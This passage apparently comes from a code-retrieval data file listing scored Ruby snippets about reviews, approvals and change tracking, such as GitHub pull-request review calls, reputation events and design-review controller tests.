__debug_sim('[auto_review: true]')\n __debug_sim('[auto_reject: true]')\n __debug_sim('SYSTEM review rejects the submission.')\n\n reject! # NOTE: => :rejected\n\n else # TODO: remove\n __debug_sim('[auto_review: true]')\n __debug_sim('[auto_approve: false]')\n __debug_sim('[auto_reject: false]')\n __debug_sim('SYSTEM must `approve!` or `reject!` to advance...')\n\n end\n\n self\n end", "title": "" }, { "docid": "9c17c4907d1f99589231c8e24629cf11", "score": "0.536818", "text": "def specs_for_changes\n #TODO implement this!\n end", "title": "" }, { "docid": "e994ad4ffc043799909f1940bd12bca3", "score": "0.536402", "text": "def saved_changes; end", "title": "" }, { "docid": "70ca2f55389697f95d99b7ff47f552e2", "score": "0.53638", "text": "def save_changes\n filter_issues_checked(params[:issue_id],\n params[:issues_changelog_notes_descriptions],\n params[:issues_check_box])\n end", "title": "" }, { "docid": "38eae9be159aff9b166b89993e0328ad", "score": "0.5361035", "text": "def update_on_update\n if get_labels.include? \"dev-test\"\n return\n end\n if ['release', 'chore'].include? @full_story['story_type']\n puts \"no action on release or chore\"\n return\n end\n case @full_story['current_state']\n when \"accepted\"\n set_labels(:add_pending)\n when \"rejected\"\n set_labels(:remove_qa)\n end\n end", "title": "" }, { "docid": "e6c8f81004d7f2cb3499e158d92cebe0", "score": "0.5355714", "text": "def create_reputable_event\r\n # RIC come back for deeper review\r\n if status.active?\r\n if user.reviews.active.count == 0\r\n Reputable::Event.create :user => user, :action => :first_review\r\n return true unless App[\"first_review_on_top_of_bonus\"]\r\n end\r\n\r\n if status_changed?\r\n sanitizer = HTML::FullSanitizer.new\r\n length = sanitizer.sanitize(content).gsub(/\\s+/, \" \").length\r\n action = length > App.long_review_threshold ? :long_review : :short_review\r\n Reputable::Event.create :user => user, :action => action\r\n\r\n if Reputable::Event.eligible_for_bonus?(self)\r\n Reputable::Event.create :user => user, :action => :category_review\r\n end\r\n\r\n apv = AggregatedPageView.find :first, :conditions => {\r\n :owner_type => \"Review\", :owner_id => id, :period => :all_time,\r\n :user_id => user.id\r\n }\r\n if apv && apv.views > 0\r\n user.stat.increment! :review_page_views, apv.views\r\n (apv.views / 250).times do\r\n Reputable::Event.create :user => user,\r\n :action => :viewed_250_times\r\n end\r\n end\r\n\r\n elsif content_was && content_changed?\r\n sanitizer = HTML::FullSanitizer.new\r\n content_is = sanitizer.sanitize(content).gsub(/\\s+/, \" \").length\r\n content_before = sanitizer.sanitize(content_was).gsub(/\\s+/, \" \").length\r\n\r\n if content_before <= App.long_review_threshold && content_is > App.long_review_threshold\r\n Reputable::Event.create :user => user, :action => :longer_review\r\n elsif content_before > App.long_review_threshold && content_is <= App.long_review_threshold\r\n Reputable::Event.create :user => user, :action => :removed_longer_review\r\n end\r\n end\r\n\r\n elsif status.rejected? && status_was == 'active'\r\n if user.reviews.active.count <= 1\r\n Reputable::Event.create :user => user, :action => :removed_first_review\r\n return true unless App[\"first_review_on_top_of_bonus\"]\r\n end\r\n\r\n length = HTML::FullSanitizer.new.sanitize(content).gsub(/\\s+/, \" \").length\r\n action = length > App.long_review_threshold ? :removed_long_review : :removed_short_review\r\n Reputable::Event.create :user => user, :action => action\r\n\r\n if Reputable::Event.eligible_for_bonus?(self)\r\n Reputable::Event.create :user => user,\r\n :action => :removed_category_review\r\n end\r\n\r\n views = AggregatedPageView.sum :views, :conditions => {\r\n :owner_type => \"Review\", :owner_id => id, :period => :all_time,\r\n :user_id => user.id\r\n }\r\n if views > 0\r\n user.stat.decrement! :review_page_views, views\r\n (views / 250).times do\r\n Reputable::Event.create :user => user,\r\n :action => :removed_viewed_250_times\r\n end\r\n end\r\n end\r\n end", "title": "" }, { "docid": "ed8f7b2514a2e125f2802739f2b1f35d", "score": "0.5336398", "text": "def atest_ID_25863_reposted_review()\n # Need clarification\n end", "title": "" }, { "docid": "fc4e0e0df3c1497c55b4c16fa27f532b", "score": "0.53363633", "text": "def review_post\n @application.save_completed\n\n redirect_to decisions_completed_path, notice: 'Application completed'\n end", "title": "" }, { "docid": "99a1cf1040f89c74af4dc162eedd1f8c", "score": "0.5335433", "text": "def update(*args)\n arguments(args, required: [:user, :repo, :number, :id])\n params = arguments.params\n\n params[\"accept\"] ||= PREVIEW_MEDIA\n\n post_request(\"/repos/#{arguments.user}/#{arguments.repo}/pulls/#{arguments.number}/reviews/#{arguments.id}/events\", params)\n end", "title": "" }, { "docid": "c0b0b5fee06c34c5a12788d521bfe158", "score": "0.53298014", "text": "def review_with_pronto(diffs)\n end", "title": "" }, { "docid": "6d8ad709fe306f0896fe23397e42cced", "score": "0.53151625", "text": "def view_update\n p \"Enter your name:\"\n client_name_entered = gets.chomp\n #find the client in the data base\n client = Client.find_by!(name: client_name_entered)\n p \"Here are your current appointments:\"\n #goes through print appointments method and take the argument of the client with all his appointments\n print_appointments (client.appointments)\n p \"Would you like to update any?(y/n)\"\n y_n_entered = gets.chomp.downcase\n \t\n if y_n_entered == \"y\"\n \tp \"Which appointment would you like to update? (Enter a trainer name)\"\n trainer_name = gets.chomp\n #enter the data base and find an appointment by trainer name \n trainer = Trainer.find_by(name: trainer_name)\n \tappointment = Appointment.find_by(trainer_id: trainer.id)\n p \"What trainer would you like to meet with instead?\"\n #print out all the trainers\n print_trainers (Trainer.all) \n new_trainer_name_entered = gets.strip\n #go into data base and find the new trainer name you entered\n p new_trainer_name_entered\n new_trainer = Trainer.find_by(name: new_trainer_name_entered)\n #link it to the appointment \n appointment.update(trainer_id: new_trainer.id)\n p \"Your appointment has been updated!\"\n end\n end", "title": "" }, { "docid": "2fd0a972c199e9af21c25befa8d7b331", "score": "0.531138", "text": "def before_approve(approval); end", "title": "" }, { "docid": "95a8f2dab9dae89897551835c4df498a", "score": "0.5306258", "text": "def compound_changelog; end", "title": "" }, { "docid": "46ffb5d3636b2a3b892d7f88716e3472", "score": "0.5300001", "text": "def list(pipeline_id)\n @client.review_app.list(pipeline_id)\n end", "title": "" }, { "docid": "2eec1e24706941f0966e45007329e1b5", "score": "0.52990997", "text": "def run\n @username, @password = @view.welcome\n @access_token = @podio.get_token(client_id: @client_id,\n client_secret: @client_secret,\n username: @username,\n password: @password)\n return @view.invalid_login(@access_token[\"error_description\"]) if @access_token[\"error\"]\n ugly_items = @app_ids.map{ |app_id| @podio.get_items(@access_token, app_id) }\n @app_one_items, @app_two_items = ugly_items.map { |scrubable| @parser.parse(scrubable) }\n @new_item_ids = @podio.make_items(count: @app_one_items.length, \n items: @app_one_items - @app_two_items, \n token: @access_token)\n return @view.nothing_new unless @new_item_ids\n @view.success((@app_one_items - @app_two_items).count)\n end", "title": "" }, { "docid": "eccdbb085989210f9e955c92d350c77f", "score": "0.52976274", "text": "def on_synchronize\n number = @payload[\"number\"]\n repository = @payload['repository']['full_name']\n\n if pr = PullRequest.find_by(number: number, repository: repository)\n\n status = \"pending\"\n description = \"Not all reviewers have approved. Comment \\\"LGTM\\\" to give approval.\"\n\n if pr.status == \"approved\"\n status = \"success\"\n description = \"Code review complete\"\n end\n\n pr_sha = @payload[\"pull_request\"][\"head\"][\"sha\"]\n\n github = Octokit::Client.new(access_token: Rails.application.secrets.github_access_token)\n github.create_status(\n @payload[\"repository\"][\"full_name\"],\n pr_sha,\n status,\n context: \"code-review/cody\",\n description: description,\n target_url: Setting.lookup(\"status_target_url\")\n )\n else\n CreateOrUpdatePullRequest.new.perform(@payload[\"pull_request\"])\n end\n end", "title": "" }, { "docid": "4d6c9cd7378ccd6d45d1d947bb3ebc44", "score": "0.5293925", "text": "def process_approve_fab_houses\n\n design_review = DesignReview.find(params[:design_review][:id])\n fab_msg = post_fab_house_approvals(design_review, params[\"fab_house_ids\"] )\n\n redirect_to(:action => :view, :id => params[:design_review][:id])\nend", "title": "" }, { "docid": "e4833ef86ba055dcf96298bfe62eec2f", "score": "0.5282597", "text": "def did_modify(files_array)\n did_modify_files = false\n files_array.each do |file_name|\n next unless git.modified_files.include?(file_name) || git.deleted_files.include?(file_name)\n \n did_modify_files = true\n config_files = git.modified_files.select { |path| path.include? file_name }\n message \"This PR changes #{github.html_link(config_files)}\"\n end\n \n did_modify_files\nend", "title": "" }, { "docid": "c97bd9d5226b71d67be3cf5e670693d2", "score": "0.5282141", "text": "def on_approved_entry(state, event, *event_args)\n super\n\n __debug_sim('SYSTEM notifies user of approval.')\n\n advance! # NOTE: => :staging\n self\n end", "title": "" }, { "docid": "ee789b5773ff424a14e3c78b42272ebc", "score": "0.5279931", "text": "def list_update_notes\n \n # access every todolist that has them as a user\n\n prompt.select(\"Which list do you want to update\", %w(Activity, Errand, Event)) \n \n # person can then select the item to update\n \n # person enters new information into the selected item\n if Activity \n update activity_item and save\n elsif Errand update errand_item and save\n elsif Event update event_item and save\n exit\n sleep(0.3)\n end\n # person saves the update\n # person exits app\n \n \n \n end", "title": "" }, { "docid": "557c7dabd391e9362a4bc406b36d2b06", "score": "0.5278595", "text": "def approve_all!\n run_task_job ApproveProcessor\n end", "title": "" }, { "docid": "9bdd73a617d41e67a458869aa60db557", "score": "0.52651304", "text": "def update\n @app = Application.find(params[:id])\n pet = Pet.find(params[:pet_id])\n\n # Find individual record of pet on application\n pet_app = ApplicationPet.where(application_id: @app.id, pet_id: pet.id)\n if params[:operation] == \"approve\"\n # Due to current AR associations, this update\n # doesn't get passed on to applications\n pet_app.update(status: \"Approved\")\n elsif params[:operation] == \"reject\"\n pet_app.update(status: \"Rejected\")\n end\n # Checks all pet app statuses, if all records are reviewed, then application is assigned approved of rejected \n @app.approval_process\n render :show\n end", "title": "" }, { "docid": "689cbc099320c3e95fa46d00348d4125", "score": "0.52579844", "text": "def iuk_changes(version) # rubocop:disable Metrics/MethodLength\n changes = [\n {\n filesystem: :rootfs,\n path: 'some_new_file',\n status: :added,\n new_content: <<~CONTENT,\n Some content\n CONTENT\n },\n {\n filesystem: :rootfs,\n path: 'etc/amnesia/version',\n status: :modified,\n new_content: <<~CONTENT,\n #{version} - 20380119\n ffffffffffffffffffffffffffffffffffffffff\n live-build: 3.0.5+really+is+2.0.12-0.tails2\n live-boot: 4.0.2-1\n live-config: 4.0.4-1\n CONTENT\n },\n {\n filesystem: :rootfs,\n path: 'etc/os-release',\n status: :modified,\n new_content: <<~CONTENT,\n TAILS_PRODUCT_NAME=\"Tails\"\n TAILS_VERSION_ID=\"#{version}\"\n CONTENT\n },\n {\n filesystem: :rootfs,\n path: 'usr/share/common-licenses/BSD',\n status: :removed,\n },\n {\n filesystem: :rootfs,\n path: 'usr/share/doc/tor',\n status: :removed,\n },\n {\n filesystem: :medium,\n path: 'utils/linux/syslinux',\n status: :removed,\n },\n ]\n\n case version\n when '2.2~testoverlayfs'\n changes\n when '2.3~testoverlayfs'\n changes + [\n {\n filesystem: :rootfs,\n path: 'some_new_file_2.3',\n status: :added,\n new_content: <<~CONTENT,\n Some content 2.3\n CONTENT\n },\n {\n filesystem: :rootfs,\n path: 'usr/share/common-licenses/MPL-1.1',\n status: :removed,\n },\n {\n filesystem: :medium,\n path: 'utils/mbr/mbr.bin',\n status: :removed,\n },\n ]\n else\n raise \"Test suite implementation error: unsupported version #{version}\"\n end\nend", "title": "" }, { "docid": "8c4640b638e72e75499caa66abcb6008", "score": "0.52559835", "text": "def update\n was_published = @app.is_published\n @app.update_attributes!(params[:app])\n publish_press_item if !was_published && @app.is_published\n \n respond_to do |wants|\n flash[:notice] = 'App was successfully updated.'\n wants.html { redirect_to(apps_url) }\n wants.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1f820451225cf8abf0b5deccddc0ec1e", "score": "0.5253457", "text": "def audit_changes()\n changes = []\n for a in self.audits\n for change in a.changes \n if a.action == 'update' \n if change[1][0] != nil\n changes << change[1][0]\n end\n if change[1][1] != nil\n changes << change[1][1]\n end\n else \n if change[1] != nil\n changes << change[1]\n end\n end\n end\n end\n changes\n end", "title": "" }, { "docid": "4a4eb1b50e43f6606954c4daf27023bd", "score": "0.52493215", "text": "def action\n updated_list_filename = File.join(Configuration::application_root, 'upgrade_package_add_files.txt')\n removed_list_filename = File.join(Configuration::application_root, 'upgrade_package_remove_files.txt')\n mkdir_p Configuration::development_directory\n Configuration::enabled_subscriber_platforms.each { |each|\n RhoDevelopment.setup(Configuration::development_directory, each)\n puts \"Check changes for #{each}\".warning\n changed = RhoDevelopment.check_changes_from_last_build(updated_list_filename, removed_list_filename)\n if changed\n puts \"Source code for platform #{each} was changed\".primary\n WebServer.dispatch_task(PlatformPartialUpdateBuildingTask.new(each, @filename));\n Configuration::enabled_subscribers_by_platform(each).each { |subscriber|\n WebServer.dispatch_task(SubscriberPartialUpdateNotifyingTask.new(subscriber, @filename));\n }\n else\n puts \"Source code for platform #{each} wasn't changed\".primary\n end\n }\n end", "title": "" }, { "docid": "f320d38e214c2e46f1d9d56f2bb31f98", "score": "0.5244231", "text": "def on_synchronize\n number = @payload[\"number\"]\n\n if PullRequest.exists?(number: number)\n pr = PullRequest.find_by(number: number)\n\n status = \"pending\"\n description = \"Not all reviewers have approved. Comment \\\"LGTM\\\" to give approval.\"\n\n if pr.status == \"approved\"\n status = \"success\"\n description = \"Code review complete\"\n end\n\n pr_sha = @payload[\"pull_request\"][\"head\"][\"sha\"]\n\n github = Octokit::Client.new(access_token: ENV[\"CODY_GITHUB_ACCESS_TOKEN\"])\n github.create_status(\n @payload[\"repository\"][\"full_name\"],\n pr_sha,\n status,\n context: \"code-review/cody\",\n description: description,\n target_url: ENV[\"CODY_GITHUB_STATUS_TARGET_URL\"]\n )\n end\n end", "title": "" }, { "docid": "8f72307bad06ae59dd9e2393155190c9", "score": "0.52400297", "text": "def review(auth, message, approve=true)\n\t\t\tif auth.is_a?(GiteaAPI::Authentication) == false \n\t\t\t\tputs \"ERROR: PullRequest.review first argument must be of type 'GiteaAPI::Authentication'\"\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\tif message.is_a?(String) == false or (!!approve != approve)\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\turi = URI(\"#{auth.url}/#{auth.repo}/pulls/#{@prnum}/reviews\")\n\t\t\t\n response = nil\n\t\t\tNet::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n \t\t\t\trequest = Net::HTTP::Post.new(uri)\n\t\t\t request['Authorization'] = \"token #{auth.token}\"\n\t\t\t request['accept'] = \"application/json\"\n\t\t\t request['Content-Type'] = \"application/json\"\n\t\t\t request.body = {:body => message, :event => approve ? \"APPROVED\" : \"REQUEST_CHANGES\"}.to_json\n \t\t\t\tresponse = http.request request\n\t\t\tend\n\n\t\t\tif response.code.to_i < 200 or response.code.to_i >= 300\n\t\t\t\tputs \"Network error occurred: #{response.code}\"\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\treturn GiteaAPI::PullRequestReview.new(response.body)\n\t\tend", "title": "" }, { "docid": "6530f6b3a8b29d7f3d201a7ed9d8f5be", "score": "0.5237663", "text": "def update_pull_request_review(repo, number, review, body, options = T.unsafe(nil)); end", "title": "" }, { "docid": "5ae27bbdb155ab51342092a5ace4e8da", "score": "0.5235355", "text": "def post\n\n design_review = DesignReview.find(params[:design_review][:id])\n current_time = Time.now\n\n # Set the status for the design review.\n in_review = ReviewStatus.find_by_name('In Review')\n design_review.review_status_id = in_review.id\n design_review.posting_count = 1\n design_review.created_on = current_time\n design_review.reposted_on = current_time\n design_review.save\n\n reviewer_list = {}\n params[:board_reviewers].each { |role_id, reviewer_id|\n reviewer_list[role_id.to_i] = reviewer_id.to_i\n }\n\n pre_art_review = ReviewType.get_pre_artwork\n \n if design_review.review_type.name == 'Pre-Artwork'\n design_review.design.board_design_entry.complete\n end\n\n design_review.design_review_results.each do |review_result|\n\n if reviewer_list[review_result.role_id] != review_result.reviewer_id\n review_result.reviewer_id = reviewer_list[review_result.role_id]\n end\n review_result.result = 'No Response'\n review_result.reviewed_on = current_time\n review_result.save\n \n # Send an invitation to the reviewer if one has not been sent before\n reviewer = User.find(review_result.reviewer_id)\n if !reviewer.invited?\n UserMailer::tracker_invite(reviewer).deliver\n\n reviewer.password = ''\n reviewer.update_attribute(:invited, 1)\n reviewer.reload\n end\n\n # Update the CC list.\n # Do not update the CC list for a Pre-Artwork review - it has already\n # been set when the design was created.\n if (design_review.review_type != pre_art_review &&\n review_result.role.cc_peers?)\n review_result.role.users.each do |peer|\n # Do not update the list for the following conditions.\n # - peer is the reviewer\n # - peer is not active\n # - peer is already on the list\n if !(peer.id == review_result.reviewer_id or\n not peer.active? or\n design_review.design.board.users.include?(peer))\n design_review.design.board.users << peer\n end\n end\n end\n end\n \n\n # Store the comment if the designer entered one.\n if params[:post_comment][:comment] != \"\"\n DesignReviewComment.new(:comment => params[:post_comment][:comment],\n :user_id => @logged_in_user.id,\n :design_review_id => design_review.id).save\n end\n\n\n # Let everybody know that the design has been posted.\n DesignReviewMailer::design_review_posting_notification(design_review,\n params[:post_comment][:comment]).deliver\n\n if design_review.design.design_center == @logged_in_user.design_center\n redirect_to(:action => 'index', :controller => 'tracker')\n else\n flash['notice'] = 'The design center is not set to your default location - ' +\n @logged_in_user.design_center.name\n redirect_to(:action => 'view', :id => design_review.id)\n end\n\n end", "title": "" }, { "docid": "0d7a298a205e3271d8feb9ad87d59c09", "score": "0.523304", "text": "def index\n @recommend_apps = Welcome.approved.recommend.order('recommend DESC').limit(8)\n @new_apps = Welcome.approved.newapp.limit(8)\n end", "title": "" }, { "docid": "6bd81bd00a9c043701d9729f50c20e6b", "score": "0.5232483", "text": "def api_changes(version = nil)\n changes = @items.select { |item| item[:kind] == 'change' }\n if version\n version_s = version.to_s\n changes.select { |item| item[:api_version] == version_s }\n else\n changes\n end.sort! do |x, y|\n [attribute_to_time(y[:created_at]), x[:title]] <=> [attribute_to_time(x[:created_at]), y[:title]]\n end\n end", "title": "" }, { "docid": "4ab91d11af97903743b446d66b5ab853", "score": "0.52318114", "text": "def submit_for_review!(app, perms = nil)\n begin\n verify_app(app)\n open_app_page(app)\n\n Helper.log.info(\"Submitting app for Review\")\n\n if not page.has_content?BUTTON_STRING_SUBMIT_FOR_REVIEW\n if page.has_content?WAITING_FOR_REVIEW\n Helper.log.info(\"App is already Waiting For Review\")\n return true\n else\n raise \"Couldn't find button with name '#{BUTTON_STRING_SUBMIT_FOR_REVIEW}'\"\n end\n end\n\n click_on BUTTON_STRING_SUBMIT_FOR_REVIEW\n sleep 4\n\n errors = (all(\".pagemessage.error\") || []).count > 0\n raise \"Some error occured when submitting the app for review: '#{current_url}'\" if errors\n\n wait_for_elements(\".savingWrapper.ng-scope.ng-pristine\")\n wait_for_elements(\".radiostyle\")\n sleep 3\n \n if page.has_content?\"Content Rights\"\n # Looks good.. just a few more steps\n\n perms ||= {\n export_compliance: {\n encryption_updated: false,\n cryptography_enabled: false,\n is_exempt: false\n },\n third_party_content: {\n contains_third_party_content: false,\n has_rights: false\n },\n advertising_identifier: {\n use_idfa: false,\n serve_advertisement: false,\n attribute_advertisement: false,\n attribute_actions: false,\n limit_ad_tracking: false\n }\n }\n\n basic = \"//*[@itc-radio='submitForReviewAnswers\"\n checkbox = \"//*[@itc-checkbox='submitForReviewAnswers\"\n\n #####################\n # Export Compliance #\n #####################\n if page.has_content?\"Export\"\n \n if not perms[:export_compliance][:encryption_updated] and perms[:export_compliance][:cryptography_enabled]\n raise \"encryption_updated must be enabled if cryptography_enabled is enabled!\"\n end\n\n begin\n encryption_updated_control = all(:xpath, \"#{basic}.exportCompliance.encryptionUpdated.value' and @radio-value='#{perms[:export_compliance][:encryption_updated]}']//input\")\n encryption_updated_control[0].trigger('click') if encryption_updated_control.count > 0\n first(:xpath, \"#{basic}.exportCompliance.usesEncryption.value' and @radio-value='#{perms[:export_compliance][:cryptography_enabled]}']//input\").trigger('click')\n first(:xpath, \"#{basic}.exportCompliance.isExempt.value' and @radio-value='#{perms[:export_compliance][:is_exempt]}']//input\").trigger('click')\n rescue\n end\n end\n\n ##################\n # Content Rights #\n ##################\n if page.has_content?\"Content Rights\"\n if not perms[:third_party_content][:contains_third_party_content] and perms[:third_party_content][:has_rights]\n raise \"contains_third_party_content must be enabled if has_rights is enabled\".red\n end\n\n begin\n first(:xpath, \"#{basic}.contentRights.containsThirdPartyContent.value' and @radio-value='#{perms[:third_party_content][:contains_third_party_content]}']//input\").trigger('click')\n first(:xpath, \"#{basic}.contentRights.hasRights.value' and @radio-value='#{perms[:third_party_content][:has_rights]}']//input\").trigger('click')\n rescue\n end\n end\n\n ##########################\n # Advertising Identifier #\n ##########################\n if page.has_content?\"Advertising Identifier\"\n first(:xpath, \"#{basic}.adIdInfo.usesIdfa.value' and @radio-value='#{perms[:advertising_identifier][:use_idfa]}']//a\").click rescue nil\n\n if perms[:advertising_identifier][:use_idfa]\n if perms[:advertising_identifier][:serve_advertisement]\n \tfirst(:xpath, \"#{checkbox}.adIdInfo.servesAds.value']//a\").click\n end\n if perms[:advertising_identifier][:attribute_advertisement]\n \tfirst(:xpath, \"#{checkbox}.adIdInfo.tracksInstall.value']//a\").click\n end\n if perms[:advertising_identifier][:attribute_actions]\n \tfirst(:xpath, \"#{checkbox}.adIdInfo.tracksAction.value']//a\").click\n end\n if perms[:advertising_identifier][:limit_ad_tracking]\n \tfirst(:xpath, \"#{checkbox}.adIdInfo.limitsTracking.value']//a\").click\n end\n end\n end\n \n\n Helper.log.info(\"Filled out the export compliance and other information on iTC\".green)\n\n click_on \"Submit\"\n sleep 5\n\n if page.has_content?WAITING_FOR_REVIEW\n # Everything worked :)\n Helper.log.info(\"Successfully submitted App for Review\".green)\n return true\n else\n raise \"So close, it looks like there went something wrong with the actual deployment. Checkout '#{current_url}'\".red\n end\n else\n raise \"Something is missing here.\".red\n end\n return false\n rescue => ex\n error_occured(ex)\n end\n end", "title": "" }, { "docid": "2b207e71b5aa86f5717f42f533f91227", "score": "0.52261734", "text": "def see_my_reviews\n self.reload\n prompt = TTY::Prompt.new\n user_reviews = self.reviews\n revs_to_print = user_reviews.map do |rev| \n [rev.charity.name, rev.rating, rev.heading, rev.body]\n end\n if revs_to_print.empty? \n puts \"You have not written any reviews!\"\n else \n Review.user_reviews_display_table(revs_to_print)\n rev_idx = prompt.ask(\"Please choose a review to edit [1-#{revs_to_print.length}]:\", convert: :int)\n review = user_reviews[rev_idx - 1]\n prompt.select(\"Options: \") do |m|\n m.choice \"Update review\", -> {self.update_review_content(review)}\n m.choice \"Delete review\", -> {Review.delete_review(review)}\n m.choice \"Choose another review\", -> {self.see_my_reviews} \n m.choice \"Back to main menu\", -> {return}\n end\n end\n \n end", "title": "" }, { "docid": "e0b49d4a7d3dfbf783558139bd992d29", "score": "0.5226", "text": "def notify_reviewers\n reviewer_ids = []\n self.entities.each { |e| reviewer_ids.concat(e.reviewers_dataset.where(:scope => \"admin\").collect(&:id)) }\n reviewers = Reviewer.where(:id => reviewer_ids).all.uniq { |r| r.account_id }\n reviewers.each { |r| r.send_application_received_email(self) }\n end", "title": "" }, { "docid": "4e76a7bb2ef3a64bc1bb3691daa5b704", "score": "0.52227944", "text": "def approving_reviewers\n pull_request_reviewers.select { |r| r.state == 'APPROVED' }\n end", "title": "" }, { "docid": "bf69f2e18d782aaf892451f9d494bc39", "score": "0.52199656", "text": "def request_review\n @@url_id = request.url.split('=').last \n @current_loc_id = Location.find_by(:id => Request.find_by(:id => @@url_id).location_id).google_place_id\n @current_address = Address.find_by(:id => Location.find_by(:id => Request.find_by(:id => @@url_id).location_id).address_id)\n req = Request.find(params[:request_id])\n reminder_days = (Time.zone.now.to_date - req.send_at.to_date).to_i.days\n if reminder_days > 30.days\n redirect_to root_path, notice: t('.request_review')\n else\n req.update(clicked: true, clicked_at: Time.now)\n @review_response = ApplicationRecord::Response.new(request_id: req.id, url: request.url)\n @review_response.save\n send_notifications(req)\n end\n end", "title": "" }, { "docid": "9dfc8ac667a27f1eeeb8b77eb2f84d01", "score": "0.5219346", "text": "def pull_request_review(repo, number, review, options = T.unsafe(nil)); end", "title": "" }, { "docid": "95e0601e1134ceffd04f0adcced0998e", "score": "0.5216924", "text": "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n @changed_files = @review.get_changed_files\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n @commits = @review.repository.get_commits\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "263403b71dcf25c95f1415481025ad7e", "score": "0.5207607", "text": "def run_on_changes(paths)\n run_all\n end", "title": "" }, { "docid": "1d7f33e3cad39e9acb809fafbaa7c4e5", "score": "0.5206538", "text": "def run_on_changes(paths)\n # UI.info 'changes'\n shoot(paths)\n end", "title": "" }, { "docid": "ea4e4e117bfdd9173042532c2569d405", "score": "0.51970357", "text": "def notest_process_admin_update\n\n # Verify the redirect when the user is not a admin/manager\n mx234a_pre_artwork = DesignReview.find(design_reviews(:mx234a_pre_artwork).id)\n #bob_g = User.find_by_last_name(\"Goldin\")\n #scott_g = User.find_by_last_name(\"Glover\")\n #rich_m = User.find_by_last_name(\"Miller\")\n #jan_k = User.find_by_last_name(\"Kasting\")\n #cathy_m = User.find_by_last_name(\"McLaren\")\n #siva_e = User.find_by_last_name(\"Esakky\")\n \n boston_harrison = @nr\n oregon = @oregon\n\n post(:process_admin_update,\n { :id => mx234a_pre_artwork.id,\n :designer => { :id => @scott_g.id.to_s },\n :peer => { :id => @scott_g.id.to_s } },\n {})\n\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal('Update not allowed - Must be admin or manager',\n flash['notice'])\n \n pre_art_design_review = mx234a_pre_artwork.design.get_design_review('Pre-Artwork')\n release_design_review = mx234a_pre_artwork.design.get_design_review('Release')\n\n # Verify the redirect when the user tries to set the designer and \n # peer as the same person.\n post(:process_admin_update,\n { :id => mx234a_pre_artwork.id,\n :designer => { :id => @scott_g.id.to_s },\n :peer => { :id => @scott_g.id.to_s },\n :pcb_input_gate => { :id => pre_art_design_review.designer_id },\n :design_center => { :id => mx234a_pre_artwork.design_center_id },\n :priority => { :id => mx234a_pre_artwork.priority_id },\n :release_poster => { :id => release_design_review.designer_id },\n :post_comment => { :comment => '' } },\n jim_manager_session)\n \n assert_redirected_to(:action => \"admin_update\", :id => mx234a_pre_artwork.id.to_s)\n assert_equal('The peer and the designer must be different - update not recorded',\n flash['notice'])\n\n # Verify the baseline.\n mx234a = designs(:mx234a)\n expected_reviews = {\n 'Release' => {:designer => 'Patrice Michaels',\n :priority => 'High',\n :design_center => boston_harrison.name},\n 'Pre-Artwork' => {:designer => 'Cathy McLaren',\n :priority => 'High',\n :design_center => boston_harrison.name}\n }\n expected_reviews.default = {\n :designer => 'Robert Goldin',\n :priority => 'High',\n :design_center => boston_harrison.name\n }\n\n mx234a.design_reviews.each do |design_review|\n assert_equal(expected_reviews[design_review.review_type.name][:designer],\n design_review.designer.name)\n assert_equal(expected_reviews[design_review.review_type.name][:priority],\n design_review.priority.name)\n assert_equal(expected_reviews[design_review.review_type.name][:design_center],\n design_review.design_center.name)\n end\n \n @emails.clear\n post(:process_admin_update,\n :id => mx234a_pre_artwork.id,\n :designer => {:id => rich_m.id.to_s},\n :pcb_input_gate => {:id => jan_k.id.to_s},\n :peer => {:id => scott_g.id.to_s},\n :review_status => {:id => review_statuses(:in_review).id.to_s},\n :priority => {:id => @low_priority.id.to_s},\n :release_poster => {:id => release_design_review.designer_id},\n :design_center => {:id => @fridley.id.to_s},\n :post_comment => {:comment => \"This is a test\"})\n \n mx234a.reload\n \n assert(1, @emails.size)\n email = @emails.pop\n assert(\"The mx234a Pre-Artwork Design Review has been modified by James Light\",\n email.subject)\n \n mx234a_pre_artwork_reviewers = [@espo, @heng_k, @lee_s, @dave_m,\n @tom_f, @anthony_g, @cathy_m, @john_g,\n @matt_d, @art_d, @jim_l, @dan_g,\n @rich_a, @lisa_a]\n\n expected_to_list = mx234a_pre_artwork_reviewers.collect { |r| r.email }\n expected_to_list += [rich_m.email, scott_g.email, jan_k.email]\n expected_to_list = expected_to_list.uniq.sort\n expected_cc_list = [bob_g.email].sort\n \n assert_equal(expected_cc_list, email.cc.sort)\n assert_equal(expected_to_list, email.to.sort) \n \n assert_equal(rich_m.name, mx234a.designer.name)\n assert_equal(scott_g.name, mx234a.peer.name)\n assert_equal(jan_k.name, mx234a.input_gate.name)\n \n expected_reviews['Final'] = { :designer => rich_m.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Placement'] = { :designer => rich_m.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Pre-Artwork'] = { :designer => jan_k.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Release'] = { :designer => 'Patrice Michaels',\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Routing'] = { :designer => rich_m.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n\n mx234a.design_reviews.each do |design_review|\n assert_equal(expected_reviews[design_review.review_type.name][:designer],\n User.find(design_review.designer_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:priority],\n Priority.find(design_review.priority_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:design_center],\n DesignCenter.find(design_review.design_center_id).name)\n end\n \n # Update the designer only and make sure that the designer for all but the\n # pre-art reviews are updated.\n @emails.clear\n post(:process_admin_update,\n :id => mx234a_pre_artwork.id,\n :designer => {:id => bob_g.id.to_s},\n :pcb_input_gate => {:id => jan_k.id.to_s},\n :peer => {:id => scott_g.id.to_s},\n :review_status => {:id => review_statuses(:in_review).id.to_s},\n :priority => {:id => @low_priority.id.to_s},\n :release_poster => {:id => release_design_review.designer_id},\n :design_center => {:id => @fridley.id.to_s},\n :post_comment => {:comment => 